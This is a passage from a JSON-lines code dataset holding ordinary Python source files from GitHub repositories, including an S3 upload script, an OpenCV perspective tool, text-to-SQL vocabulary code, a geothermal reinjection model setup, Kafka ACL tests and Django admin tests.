'.join(flags)\n","repo_name":"juju-solutions/charms.docker","sub_path":"charms/docker/dockeropts.py","file_name":"dockeropts.py","file_ext":"py","file_size_in_byte":3999,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"13885386160","text":"import boto3\r\n\r\naccess_key = 'XXXXX'\r\nsecret_key = 'XXXXX'\r\ns3_bucket_name = 'erho2'\r\ns3_filename = 'late_orders.csv'\r\ns3 = boto3.client('s3',\r\n aws_access_key_id = access_key,\r\n aws_secret_access_key = secret_key)\r\n\r\ns3.upload_file(\r\n Filename=s3_filename, Bucket=s3_bucket_name,\r\n Key=s3_filename,)","repo_name":"erhansozen/Olist_Big_Data_Engineering_Project","sub_path":"Python_Scripts/upload_to_s3.py","file_name":"upload_to_s3.py","file_ext":"py","file_size_in_byte":348,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"23751859619","text":"import os, sys\ncurrentdir = os.path.dirname(os.path.realpath(__file__))\nparentdir = os.path.dirname(currentdir)\nsys.path.append(parentdir)\n\n\"\"\"\nFind Brainvision files, assign subject identifier and sort in project directory.\n\"\"\"\nimport argparse\nfrom os import makedirs, rename\nfrom glob import glob\nfrom config import fname\n\n# Handle command line arguments\nparser = argparse.ArgumentParser(description=__doc__)\nparser.add_argument('brainvision',\n help='The BrainVision dataset to import')\nparser.add_argument('subject',\n help='The subject to create')\nargs = parser.parse_args()\nbrainvision = args.brainvision\nsubject = args.subject\nprint(f'Importing data for {brainvision} into {subject}')\n\nsubject_dir = fname.subject_dir(subject=subject)\nfiles = [f[len(fname.base_dir)+1:] for f in glob(f\"{fname.base_dir}/{brainvision}*\") if f[-4:] in [\".eeg\",\"vhdr\",\"vmrk\"]]\n\nif len(files):\n makedirs(subject_dir)\n for f in files:\n rename(fname.base_dir+\"/\"+f,fname.subject_file(subject=subject,file=f))\n\n f = open(fname.subject_file(subject=subject,file=\"brainvision.csv\"),\"w\")\n f.writelines(sorted(files))\n f.close()\n\n# make output?","repo_name":"fbaumgardt/p0ly","sub_path":"scripts/00_initialize_dataset.py","file_name":"00_initialize_dataset.py","file_ext":"py","file_size_in_byte":1181,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"16049405085","text":"# Definition for a binary tree node.\n# class TreeNode:\n# def __init__(self, x):\n# self.val = x\n# self.left = None\n# self.right = None\n\nclass Solution:\n def levelOrder(self, root: TreeNode) -> List[int]:\n results = []\n def my_level(ll):\n next_l = []\n for i in ll:\n results.append(i.val)\n if i.left is not None:\n next_l.append(i.left)\n if i.right is not None:\n next_l.append(i.right)\n return next_l\n if root is None:\n return []\n \n n_list = my_level([root])\n while n_list != []:\n n_list = my_level(n_list)\n return results\n \n# 大佬 写法 用队列\nclass Solution:\n def levelOrder(self, root: TreeNode) -> List[int]:\n if not root: return []\n res, queue = [], collections.deque()\n queue.append(root)\n while queue:\n node = queue.popleft()\n res.append(node.val)\n if node.left: queue.append(node.left)\n if node.right: queue.append(node.right)\n return res\n","repo_name":"chenxino/LeetCode_Notes","sub_path":"剑指offer/jz32_I.py","file_name":"jz32_I.py","file_ext":"py","file_size_in_byte":1156,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"61"} +{"seq_id":"35171875328","text":"import platform\nimport cv2\nimport numpy as np\n\nimg_path = \"dut.jpg\"\nwnd_title = \"IPT Demo\"\n\n# 读取图像\nimg = cv2.imread(img_path)\n\n# 读取图像大小 (height, width, depth)\nimg_height, img_width, _ = img.shape\nprint(\"原始图片大小:\", img_width, img_height)\n\ncv2.namedWindow(wnd_title, cv2.WINDOW_NORMAL)\n\n# macOS 中 imshow() 会自动按照图像的原始比例显示;而 Windows 中需要手动调整显示窗口的大小;\n# 未测试 Linux 下的情况\nif platform.system() == \"Windows\":\n # 读取屏幕大小 (positionX, positionY, width, height)\n cv2.setWindowProperty(\n wnd_title, cv2.WND_PROP_FULLSCREEN, cv2.WINDOW_FULLSCREEN)\n _, _, screen_width, screen_height = cv2.getWindowImageRect(wnd_title)\n print(\"屏幕分辨率:\", screen_width, screen_height)\n\n # 按照图片比例设置显示窗口大小\n cv2.setWindowProperty(\n wnd_title, cv2.WND_PROP_FULLSCREEN, cv2.WINDOW_NORMAL)\n wnd_height = screen_height - 100\n wnd_width = int(img_width * wnd_height / img_height)\n print(\"调整后显示窗口大小:\", wnd_width, wnd_height)\n cv2.resizeWindow(wnd_title, wnd_width, wnd_height)\n\n# 显示图像\ncv2.imshow(wnd_title, img)\n\n# 绘制 4 边形的 ROI 区域\n# 使用鼠标左键依次确定 4 个顶点;鼠标右键取消上一个顶点\n\nroi_pts = [] # 用于存放 4 个顶点\n\n# 自动获取顶点\n\n# 监听鼠标事件,进行描点\n\n\ndef define_roi(event, x, y, flags, param):\n global roi_pts\n\n def draw_roi():\n imgMask = img.copy() # 保留原始图像,在 imgMask 上绘制 ROI 区域\n\n # 绘制所有的点,及连线\n for i in range(len(roi_pts)):\n cv2.circle(imgMask, roi_pts[i], 12, (0, 0, 255), -1)\n if i > 0:\n cv2.line(imgMask, roi_pts[i-1], roi_pts[i], (0, 0, 255), 2)\n if i == 3: # 最后一个顶点,需要增加起点到终点的连线\n cv2.line(imgMask, roi_pts[0], roi_pts[i], (0, 0, 255), 2)\n cv2.imshow(wnd_title, imgMask)\n\n if event == cv2.EVENT_LBUTTONDOWN:\n if len(roi_pts) < 4: # 不足 4 个顶点,则将该点加入到顶点数组,并绘制 ROI 区域\n roi_pts.append([x, y])\n draw_roi()\n\n if event == cv2.EVENT_RBUTTONDOWN:\n if len(roi_pts) > 0: # 至少有 1 个顶点,则删除最后一个顶点,并绘制 ROI 区域\n roi_pts.pop()\n draw_roi()\n\n\n# 监控鼠标事件,定义 ROI 区域\ncv2.setMouseCallback(wnd_title, define_roi)\n\n# 等待按键:\n# ESC:退出\n# Enter:确定 ROI 区域\nwhile True:\n key = cv2.waitKey(1) & 0xFF\n if key == 27:\n break\n if key == 13:\n # 对 ROI 区域进行透视变换,并显示\n # 将四边形的顶点按逆时针排序:(右上、左上,左下,右下)\n print(\"ROI 顶点:\", roi_pts)\n # 计算四边形的质心\n centroid = [0.0, 0.0]\n for i in range(0, 3):\n centroid[0] += roi_pts[i][0]\n centroid[1] += roi_pts[i][1]\n centroid[0] = centroid[0] / 4\n centroid[1] = centroid[1] / 4\n print(\"ROI 质心:\", centroid)\n\n # 通过比较各点到质心的角度进行排序\n def phase_angle(point):\n return cv2.fastAtan2(\n point[1] - centroid[1], point[0] - centroid[0])\n sorted_roi_pts = sorted(roi_pts, key=phase_angle, reverse=True)\n print(\"排序后的 ROI 顶点:\", sorted_roi_pts)\n\n # 将 ROI 部分透视变换到 2100x2970 幅面(A4 长宽比)\n pts1 = np.float32(sorted_roi_pts)\n pts2 = np.float32([[2100, 0], [0, 0], [0, 2970], [2100, 2970]])\n M = cv2.getPerspectiveTransform(pts1, pts2)\n roi_img = cv2.warpPerspective(img, M, [2100, 2970])\n\n # Windows 平台下手动调整显示窗口大小;macOS 平台无需调整\n resWndTitle = wnd_title + \" Result\"\n cv2.namedWindow(resWndTitle, cv2.WINDOW_NORMAL)\n if platform.system() == \"Windows\":\n cv2.resizeWindow(resWndTitle, wnd_width, wnd_height)\n cv2.imshow(resWndTitle, roi_img)\n\ncv2.destroyAllWindows()\n","repo_name":"hustrlee/bill-segmentation","sub_path":"algorithm/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":4145,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"13999837654","text":"import pyglet\nimport director as dr\nimport page\nfrom camera import Camera\nimport lights\n\n\ndef main():\n config = pyglet.gl.Config(sample_buffers=1, samples=4)\n window = pyglet.window.Window(1200, 600, config=config)\n camera = Camera(\n [0, 200, 1200],\n [0, page.Page.size/2, 0],\n aspect=window.width*1.0/window.height,\n field_of_view=30, width=window.width, height=window.height)\n director = dr.Director()\n book = page.Book(camera, window, 20)\n for scene in book.scenes:\n scene.add_hud_object(page.create_random_page())\n light = book.add_light(lights.CandleLight([250, 350, 800], .9))\n book.set_ambient([.05, .07, .08])\n director.start_scene(book)\n @window.event\n def on_draw():\n window.clear()\n director.draw()\n pyglet.clock.schedule_interval(director.update, 1.0/60)\n pyglet.app.run()\n\nif __name__ == '__main__':\n main()\n","repo_name":"joshdempster/BookSimulator","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":913,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"38992950394","text":"import json\r\nimport notifyDevice as nD\r\nfrom databaseManipulator import Database\r\n\r\n#Checks temp and humidity with the appropriate json data, pushes a notification only if a notification hasn't been sent that day\r\ndef checkData(temp, hum):\r\n with open('config.json', 'r') as f:\r\n data = json.load(f)\r\n\r\n if(Database().currentDay() == False):\r\n Database().logNotData()\r\n if temp < data['min_temperature']:\r\n nD.send_notification_via_pushbullet('temp error', 'temperature below configuration')\r\n elif temp > data['max_temperature']:\r\n nD.send_notification_via_pushbullet('temp error', 'temperature above configuration')\r\n elif hum < data['min_humidity']:\r\n nD.send_notification_via_pushbullet('humidity error', 'humidity below configuration')\r\n elif hum > data['max_humidity']:\r\n nD.send_notification_via_pushbullet('humidity error', 'humidity below configuration')\r\n \r\n","repo_name":"ebr194/PIOT","sub_path":"IoTA1-master/dataChecker.py","file_name":"dataChecker.py","file_ext":"py","file_size_in_byte":1071,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"20681759934","text":"\nfrom module_utils.kafka_acl import ACLResourceType as rs\nfrom module_utils.kafka_acl import ACLOperation as op\nfrom module_utils.kafka_acl import (\n ACLResource, ACLPermissionType, ACLPatternType\n)\n\n\ndef test_acl_operations_equality():\n assert op.ANY == op.WRITE\n assert op.WRITE == op.WRITE\n assert op.READ != op.WRITE\n\n\ndef test_acl_resource_equality():\n commons = {\n 'pattern_type': ACLPatternType.LITERAL,\n 'name': 'my-topic',\n 'principal': 'User:alice',\n 'host': '*'\n }\n r1 = ACLResource(rs.TOPIC, op.WRITE, ACLPermissionType.ALLOW, **commons)\n r2 = ACLResource(rs.TOPIC, op.ANY, ACLPermissionType.ALLOW, **commons)\n\n assert r1 == r2\n assert r1 in [r2]\n","repo_name":"StephenSorriaux/ansible-kafka-admin","sub_path":"tests/module_utils/test_kafka_acls.py","file_name":"test_kafka_acls.py","file_ext":"py","file_size_in_byte":717,"program_lang":"python","lang":"en","doc_type":"code","stars":130,"dataset":"github-code","pt":"61"} +{"seq_id":"13973795766","text":"import json\nfrom collections import Counter, defaultdict\nimport pickle\nfrom utils import *\nimport pandas as pd\n\nSPECIAL_TOKENS = [\"\", \"\", \"\", \"\", \"\", \"\"]\nSQL_KEYWORDS = [\"t\"+str(i+1) for i in range(10)] + [\".\", \",\", \"(\", \")\", \"in\", \"not\", \"and\", \"between\", \"or\", \"where\"] + [\"except\", \"union\", \"intersect\",\n \"group\", \"by\", \"order\", \"limit\", \"having\",\"asc\", \"desc\"] + [\"count\", \"sum\", \"avg\", \"max\", \"min\",\n \"<\", \">\", \"=\", \"!=\", \">=\", \"<=\"] + [\"like\", \"distinct\", \"*\", \"join\", \"on\", \"as\", \"select\", \"from\"]\n\nSQL_KEYWORDS = dict(zip(SQL_KEYWORDS, [10]*len(SQL_KEYWORDS)))\n\ndef generate_schema_vocab(file_path):\n \n with open(file_path, \"r\") as f:\n schemas = json.load(f)\n \n databases = set()\n tokens_db_lookup = defaultdict(set)\n schema_vocab = Counter()\n \n for schema in schemas:\n db_id = schema[\"db_id\"]\n schema_tokens = []\n \n if db_id not in databases:\n databases.add(db_id)\n \n for column in schema[\"column_names_original\"]:\n schema_tokens.append(column[1].lower())\n \n for table in schema[\"table_names_original\"]:\n schema_tokens.append(table.lower())\n \n for token in list(Counter(schema_tokens).keys()):\n tokens_db_lookup[token].add(db_id)\n \n schema_vocab.update(schema_tokens) \n \n return schema_vocab, databases, tokens_db_lookup\n\n\ndef generate_sql_vocab(file_path):\n \n query_vocab = Counter()\n max_query = -1\n data_points = []\n\n \n data_file = pd.read_csv(file_path)\n\n for idx, dp in data_file.iterrows():\n query = dp[\"query\"]\n query_tokens = tokenize_query(query)\n \n max_query = max(max_query, len(query_tokens))\n query_vocab.update(query_tokens)\n\n return query_vocab, max_query\n\ndef generate_question_vocab(file_path):\n\n data_file = pd.read_csv(file_path)\n\n ques_vocab = Counter()\n max_ques = -1\n\n for idx, dp in data_file.iterrows():\n \n question = dp[\"question\"]\n ques_tokens = tokenize_question(question)\n\n max_query = max(max_ques, len(ques_tokens))\n ques_vocab.update(ques_tokens)\n\n return ques_vocab, max_ques\n\ndef word_to_index(vocab):\n ctr = len(SPECIAL_TOKENS)\n word2idx = {SPECIAL_TOKENS[v]: v for v in range(len(SPECIAL_TOKENS))}\n idx2word = {v: SPECIAL_TOKENS[v] for v in range(len(SPECIAL_TOKENS))}\n \n for k, v in vocab.items():\n if k not in word2idx:\n word2idx[k] = ctr\n idx2word[ctr] = k\n ctr += 1\n assert len(word2idx) == len(idx2word)\n return word2idx, idx2word\n\ndef generate_encoder_decoder_vocab(train_path, tables_path, output_path, max_en_vocab=10000, max_de_vocab=10000, min_en_freq=2, min_de_freq=2, save=True):\n\n encoder_vocab = Counter()\n decoder_vocab = Counter()\n\n ques_vocab, max_ques = generate_question_vocab(train_path)\n query_vocab, max_query = generate_sql_vocab(train_path)\n schema_vocab, databases, tokens_db_lookup = generate_schema_vocab(tables_path)\n\n print(\"Max tokens in question = {}, Max tokens in query = {}\".format(max_ques, max_query))\n\n encoder_vocab.update(ques_vocab)\n decoder_vocab.update(query_vocab)\n decoder_vocab.update(schema_vocab)\n decoder_vocab.update(SQL_KEYWORDS)\n\n encoder_vocab = dict(encoder_vocab.most_common())\n\n if min_en_freq > 0:\n encoder_vocab = {k: count for k, count in encoder_vocab.items() if count >= min_en_freq}\n\n if max_en_vocab < len(encoder_vocab):\n encoder_vocab = dict(encoder_vocab.most_common(max_vocab_size))\n\n decoder_vocab = dict(decoder_vocab.most_common())\n\n if min_de_freq > 0:\n decoder_vocab = {k: count for k, count in decoder_vocab.items() if count >= min_de_freq}\n\n if max_de_vocab < len(decoder_vocab):\n decoder_vocab = dict(decoder_vocab.most_common(max_de_vocab))\n\n with open(os.path.join(output_path, \"encoder.vocab\"), \"w\") as out:\n for k, count in encoder_vocab.items():\n try:\n out.write(\"{}\\n\".format(k))\n except:\n out.write(\"{}\\n\".format(str(k).encode('utf-8')))\n \n with open(os.path.join(output_path, \"decoder.vocab\"), \"w\") as out:\n for k, count in decoder_vocab.items():\n try:\n out.write(\"{}\\n\".format(k))\n except:\n out.write(\"{}\\n\".format(str(k).encode('utf-8')))\n\n en_word2idx, en_idx2word = word_to_index(encoder_vocab)\n de_word2idx, de_idx2word = word_to_index(decoder_vocab)\n \n with open(os.path.join(output_path, \"encoder_word2idx.pickle\"), 'wb') as out:\n pickle.dump(en_word2idx, out, protocol=pickle.HIGHEST_PROTOCOL)\n \n with open(os.path.join(output_path, \"encoder_idx2word.pickle\"), 'wb') as out:\n pickle.dump(en_idx2word, out, protocol=pickle.HIGHEST_PROTOCOL)\n \n with open(os.path.join(output_path, \"decoder_word2idx.pickle\"), 'wb') as out:\n pickle.dump(de_word2idx, out, protocol=pickle.HIGHEST_PROTOCOL)\n \n with open(os.path.join(output_path, \"decoder_idx2word.pickle\"), 'wb') as out:\n pickle.dump(de_idx2word, out, protocol=pickle.HIGHEST_PROTOCOL)\n\n print(\"Encoder Vocab Size = {}, Decoder Vocab Size = {}\".format(len(en_word2idx), len(de_word2idx)))\n\n\n return\n\ndef process_data(file_path, output_path, prefix = 'train'):\n \n data_points = [] \n data_file = pd.read_csv(file_path)\n\n for idx, dp in data_file.iterrows():\n question = dp[\"question\"]\n ques_tokens = \" \".join(tokenize_question(question))\n query = dp[\"query\"]\n query_tokens = \" \".join(tokenize_query(query))\n db_id = dp['db_id']\n\n data_points.append([db_id, ques_tokens, query_tokens, query.lower().replace('\\t', ' ')])\n \n df = pd.DataFrame(data_points, columns=[\"db_id\", \"question\", \"query\", \"orig_query\"])\n file_name = os.path.join(output_path, \"{}_data.xlsx\".format(prefix))\n df.to_excel(file_name, index=False)\n return\n\n\n\ndef generate_query_question_vocab(file_path, output_path, file_type=\"train\", save=False):\n ques_vocab = Counter()\n query_vocab = Counter()\n \n max_query = -1\n data_points = []\n \n# with open(file_path, \"r\") as f:\n# data_file = json.load(f)\n max_ques = -1\n max_query = -1\n data_file = pd.read_csv(file_path)\n \n # if save:\n # ques_outfile = open(os.path.join(output_path, f\"{file_type}_questions.txt\"), \"w\")\n # query_outfile = open(os.path.join(output_path, f\"{file_type}_query.txt\"), \"w\")\n # query_db_outfile = open(os.path.join(output_path, f\"{file_type}_query_db.txt\"), \"w\")\n \n data_points = []\n for idx, dp in data_file.iterrows():\n question = dp[\"question\"]\n query = dp[\"query\"]\n db_id = dp[\"db_id\"]\n ques_tokens = tokenize_question(question)\n query_tokens = tokenize_query(query)\n\n max_ques = max(max_ques, len(ques_tokens))\n max_query = max(max_query, len(query_tokens))\n \n ques_vocab.update(ques_tokens)\n query_vocab.update(query_tokens)\n \n ques_sentence = \" \".join(ques_tokens)\n query_sentence = \" \".join(query_tokens)\n \n data_points.append([db_id, ques_sentence, query_sentence, query.lower().replace('\\t', ' ')])\n\n if save:\n df = pd.DataFrame(data_points, columns=[\"db_id\", \"question\", \"query\", \"orig_query\"])\n file_name = os.path.join(output_path, \"{}_data.xlsx\".format(file_type))\n df.to_excel(file_name, index=False)\n \n return ques_vocab, query_vocab, max_ques, max_query\n\n\n\n\n\nif __name__ == \"__main__\":\n\n generate_encoder_decoder_vocab(\"./data/train.csv\", \"./data/tables.json\", \"./processed_data/\", max_en_vocab=10000, max_de_vocab=10000, min_en_freq=3, min_de_freq=3, save=True)\n print(\"processing training data...\")\n process_data(\"./data/train.csv\", \"./processed_data/\", \"train\")\n print(\"processing val data...\")\n process_data(\"./data/val.csv\", \"./processed_data/\", \"val\")","repo_name":"CosmoLuminous/deep-learning-col775","sub_path":"a1/text2sql/vocab.py","file_name":"vocab.py","file_ext":"py","file_size_in_byte":8061,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"11539574289","text":"# 1-D column problem with reinjection\n\nfrom t2data import *\nfrom t2incons import *\nfrom t2thermo import sat, cowat\nimport json\njson.encoder.FLOAT_REPR = lambda o: format(o, '0.12g')\nimport os\n\nAUTOUGH2 = 'AUTOUGH2'\n\nmodel_dir = './run'\norig_dir = os.getcwd()\nif not os.path.isdir(model_dir): os.makedirs(model_dir)\nos.chdir(model_dir)\n\nmodel_name = 'reinjection'\n\nd = 100.\ndx = [d]\ndy = [d]\ndz = list(range(40, 140, 10)) + [150]\n\ngeo = mulgrid().rectangular(dx, dy, dz, atmos_type = 0)\ngeo.write('g'+ model_name +'.dat')\nmesh_filename = 'g' + model_name + '.exo'\ngeo.write_mesh(mesh_filename)\n\ntitle = '1-D column problem with reinjection'\ndat = t2data()\ndat.title = title + ': steady state'\ndat.simulator = 'AUTOUGH2.2EW'\ndat.start = True\ndat.grid = t2grid().fromgeo(geo)\n\ndat.grid.rocktype['dfalt'].permeability = np.ones(3) * 1.e-13\n\nndt = 50\nP0, T0 = 1.e5, 20.\ndat.parameter.update(\n {'max_timesteps': ndt,\n 'tstop': 1.e15,\n 'print_interval': ndt,\n 'const_timestep': 1.e6,\n 'gravity': 9.8,\n 'relative_error': 1.e-5,\n 'timestep_reduction': 4.0,\n 'default_incons': [P0, T0],\n 'max_iterations': 8\n })\ndat.parameter['option'][1] = 1\ndat.parameter['option'][16] = 6\ndat.parameter['option'][24] = 2\ndat.start = False\ndat.multi = {'num_components':1, 'num_equations':2,\n 'num_phases':2, 'num_secondary_parameters':6,\n 'eos': 'EW'}\n\ndat.relative_permeability = {'type': 1, 'parameters': [0.,0.,1.,1.]}\ndat.capillarity = {'type': 1, 'parameters': [0.,0.,0.,0.]}\n\ngx = 10. # kg/s\nt = 240. # deg C\np = sat(t)\nd,u = cowat(t,p)\nh = u + p / d\ngen = t2generator(name = 'gen 1', block = dat.grid.blocklist[-1].name,\n gx = gx, ex = h, type = 'MASS')\ndat.add_generator(gen)\n\n# steady state run:\ndat.write(model_name + '_ss.dat')\ninc = dat.grid.incons([P0, T0])\ninc.write(model_name + '_ss.incon')\ndat.run(simulator = AUTOUGH2, silent = True)\ninc = t2incon(model_name + '_ss.save')\n\n# transient runs:\nndt = 100\nday = 24. * 60. * 60.\ndat.parameter.update(\n {'max_timesteps': ndt,\n 'tstop': 365 * day,\n 'const_timestep': 0.5 * day,\n 'max_timestep': 7. * day,\n 'print_interval': 1\n })\n\n# production wells:\nproduction_wellnames = ['prd 1', 'prd 2', 'prd 3']\nwells = {'prd 1': (-180, 0.55e6), 'prd 2': (-250, 0.6e6), 'prd 3': (-350, -1)}\nPI = 5e-12\nPb = 10e5\nqsmax = 0.\ncol = geo.columnlist[0]\nfor wellname in production_wellnames:\n z, Psep = wells[wellname]\n lay = geo.layer_containing_elevation(z)\n blkname = geo.block_name(lay.name, col.name)\n prd = t2generator(name = wellname, block = blkname,\n gx = PI, ex = Pb, fg = Psep, hg = qsmax,\n type = 'DELG')\n dat.add_generator(prd)\n\njsondata = dat.json(geo, mesh_filename, incons = inc)\njsondata['output']['fields'] = {'source': ['natural_cell_index',\n 'rate', 'enthalpy',\n 'steam_rate'],\n 'network_group': ['rate', 'enthalpy',\n 'steam_rate']}\n\n# setup source network manually (until PyTOUGH can convert it):\nfor g in jsondata['source'][1: 1 + len(production_wellnames)]:\n Psep = wells[g['name']][1]\n if Psep < 0: Psep = [1.45e6, 0.55e6]\n g['separator'] = {'pressure': Psep}\n\n# reinjection:\nz = -20\nhs = 85.e3\nlay = geo.layer_containing_elevation(z)\nblkname = geo.block_name(lay.name, col.name)\ncell_index = geo.block_name_index[blkname] - geo.num_atmosphere_blocks\n\nqf = 1.5\ninj = t2generator(name = 'inj 1', block = blkname,\n gx = qf, ex = hs, hg = -1., type = 'FINJ')\ndat.add_generator(inj)\njsondata['source'].append({'name': 'inj 1', 'cell': cell_index})\n\npf = 0.1\ninj = t2generator(name = 'inj 2', block = blkname,\n ex = hs, hg = -pf, type = 'PINJ')\ndat.add_generator(inj)\njsondata['source'].append({'name': 'inj 2', 'cell': cell_index})\n\nz = -65\nlay = geo.layer_containing_elevation(z)\nblkname = geo.block_name(lay.name, col.name)\ncell_index = geo.block_name_index[blkname] - geo.num_atmosphere_blocks\nhl = 440.e3\nqmax = 2.0\nPref = 9.e5\ninjectivity = 3.e-6\ninj = t2generator(name = 'inj 3', block = blkname,\n gx = qmax, ex = hl, hg = Pref, fg = injectivity, type = 'IMAK')\ndat.add_generator(inj)\njsondata['source'].append({'name': 'inj 3', 'cell': cell_index,\n 'direction': 'injection',\n 'limiter': {'total': qmax},\n 'injectivity': {'pressure': Pref,\n 'coefficient': injectivity}})\noverflow_pf = 0.05\ninj = t2generator(name = 'inj 4', block = blkname,\n ex = hl, hg = overflow_pf, fg = 1., type = 'RINJ')\ndat.add_generator(inj)\njsondata['source'].append({'name': 'inj 4', 'cell': cell_index})\n\njsondata['network'] = {\n 'group': [\n {'name': 'reinjection group',\n 'in': production_wellnames}],\n 'reinject': [\n {'name': 'reinjector', 'in': 'reinjection group', 'overflow': 'overflow reinjector',\n 'water': [\n {'out': 'inj 3', 'enthalpy': hl}\n ],\n 'steam': [\n {'out': 'inj 1', 'rate': qf, 'enthalpy': hs},\n {'out': 'inj 2', 'proportion': pf, 'enthalpy': hs}\n ]},\n {'name': 'overflow reinjector',\n 'water': [{'out': 'inj 4', 'proportion': overflow_pf, 'enthalpy': hl}]\n }\n ]}\n\ncase_name = 'run'\ndat.title = title\njsondata['title'] = dat.title\njsondata['output']['filename'] = model_name + '.h5'\ndat.write(model_name + '.dat')\ninc.write(model_name + '.incon')\ndat.run(simulator = AUTOUGH2, silent = True)\njson.dump(jsondata, open(model_name + '.json', 'w'),\n indent = 2, sort_keys = True)\n","repo_name":"waiwera/waiwera","sub_path":"test/benchmark/source/reinjection/setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":5767,"program_lang":"python","lang":"en","doc_type":"code","stars":37,"dataset":"github-code","pt":"61"} +{"seq_id":"36989271675","text":"\"\"\"https://www.elastic.co/guide/en/elasticsearch/reference/current/mapping-types.html\"\"\"\n\nfrom .abstract import ComplexField, RegularField\n\n\n# CORE DATATYPES\n# string\nclass Text(RegularField):\n KEY = \"text\"\n\n\nclass Keyword(RegularField):\n KEY = \"keyword\"\n\n\nclass ConstantKeyword(RegularField):\n KEY = \"constant_keyword\"\n\n\nclass WildCard(RegularField):\n KEY = \"wildcard\"\n\n\n# numeric\nclass Long(RegularField):\n KEY = \"long\"\n\n\nclass Integer(RegularField):\n KEY = \"integer\"\n\n\nclass Short(RegularField):\n KEY = \"short\"\n\n\nclass Byte(RegularField):\n KEY = \"byte\"\n\n\nclass Double(RegularField):\n KEY = \"double\"\n\n\nclass Float(RegularField):\n KEY = \"float\"\n\n\nclass HalfFloat(RegularField):\n KEY = \"half_float\"\n\n\nclass ScaledFloat(RegularField):\n KEY = \"scaled_float\"\n\n\n# date\nclass Date(RegularField):\n KEY = \"date\"\n\n\nclass DateNanos(RegularField):\n KEY = \"date_nanos\"\n\n\n# boolean\nclass Boolean(RegularField):\n KEY = \"boolean\"\n\n\n# binary\nclass Binary(RegularField):\n KEY = \"binary\"\n\n\n# range\nclass IntegerRange(RegularField):\n KEY = \"integer_range\"\n\n\nclass FloatRange(RegularField):\n KEY = \"float_range\"\n\n\nclass LongRange(RegularField):\n KEY = \"long_range\"\n\n\nclass DoubleRange(RegularField):\n KEY = \"double_range\"\n\n\nclass DateRange(RegularField):\n KEY = \"date_range\"\n\n\nclass IpRange(RegularField):\n KEY = \"ip_range\"\n\n\n# COMPLEX DATATYPES\nclass Object(ComplexField):\n KEY = \"object\"\n\n\nclass Nested(ComplexField):\n KEY = \"nested\"\n\n\n# GEO DATATYPES\nclass GeoPoint(RegularField):\n \"\"\"For lat/lon points\"\"\"\n\n KEY = \"geo_point\"\n\n\nclass GeoShape(RegularField):\n \"\"\"For complex shapes like polygons\"\"\"\n\n KEY = \"geo_shape\"\n\n\n# SPECIALIZED DATATYPES\nclass IP(RegularField):\n \"\"\"for IPv4 and IPv6 addresses\"\"\"\n\n KEY = \"ip\"\n\n\nclass Completion(RegularField):\n \"\"\"To provide auto-complete suggestions\"\"\"\n\n KEY = \"completion\"\n\n\nclass TokenCount(RegularField):\n \"\"\"To count the number of tokens in a string\"\"\"\n\n KEY = \"token_count\"\n\n\nclass MapperMurMur3(RegularField):\n \"\"\"To compute hashes of values at index-time and store them in the index\"\"\"\n\n KEY = \"murmur3\"\n\n\nclass MapperAnnotatedText(RegularField):\n \"\"\"To index text containing special markup (typically used for identifying named entities)\"\"\"\n\n KEY = \"annotated-text\"\n\n\nclass Percolator(RegularField):\n \"\"\"Accepts queries from the query-dsl\"\"\"\n\n KEY = \"percolator\"\n\n\nclass Join(RegularField):\n \"\"\"Defines parent/child relation for documents within the same index\"\"\"\n\n KEY = \"join\"\n\n\nclass RankFeature(RegularField):\n \"\"\"Record numeric feature to boost hits at query time.\"\"\"\n\n KEY = \"rank_feature\"\n\n\nclass RankFeatures(RegularField):\n \"\"\"Record numeric features to boost hits at query time.\"\"\"\n\n KEY = \"rank_features\"\n\n\nclass DenseVector(RegularField):\n \"\"\"Record dense vectors of float values.\"\"\"\n\n KEY = \"dense_vector\"\n\n\nclass SparseVector(RegularField):\n \"\"\"Record sparse vectors of float values.\"\"\"\n\n KEY = \"sparse_vector\"\n\n\nclass SearchAsYouType(RegularField):\n \"\"\"A text-like field optimized for queries to implement as-you-type completion\"\"\"\n\n KEY = \"search_as_you_type\"\n\n\nclass Alias(RegularField):\n \"\"\"Defines an alias to an existing field.\"\"\"\n\n KEY = \"alias\"\n\n\nclass Flattened(RegularField):\n \"\"\"Allows an entire JSON object to be indexed as a single field.\"\"\"\n\n KEY = \"flattened\"\n\n\nclass Shape(RegularField):\n \"\"\"For arbitrary cartesian geometries.\"\"\"\n\n KEY = \"shape\"\n\n\nclass Histogram(RegularField):\n \"\"\"For pre-aggregated numerical values for percentiles aggregations.\"\"\"\n\n KEY = \"histogram\"\n","repo_name":"alkemics/pandagg","sub_path":"pandagg/node/mappings/field_datatypes.py","file_name":"field_datatypes.py","file_ext":"py","file_size_in_byte":3617,"program_lang":"python","lang":"en","doc_type":"code","stars":11,"dataset":"github-code","pt":"61"} +{"seq_id":"34389192995","text":"import pytest\n\nfrom django.shortcuts import reverse\nfrom django.contrib.auth import get_user_model\n\n@pytest.mark.django_db\ndef test_login_admin_view(client):\n \"\"\" Teste na view de login de usuário pelo admin \"\"\"\n url = reverse('admin:login')\n response = client.get(url)\n assert response.status_code == 200\n\n@pytest.mark.django_db\ndef test_check_user_not_authenticated_admin(client):\n \"\"\" Teste para checar se o usuário não está autenticado no admin \"\"\"\n url = reverse('admin:index')\n response = client.get(url)\n assert response.status_code != 200\n\n@pytest.mark.django_db\ndef test_check_user_is_authenticated_admin(client, user_admin):\n \"\"\" Teste para checar se o usuário está autenticado no admin \"\"\"\n url = reverse('admin:index')\n response = client.get(url)\n assert response.status_code == 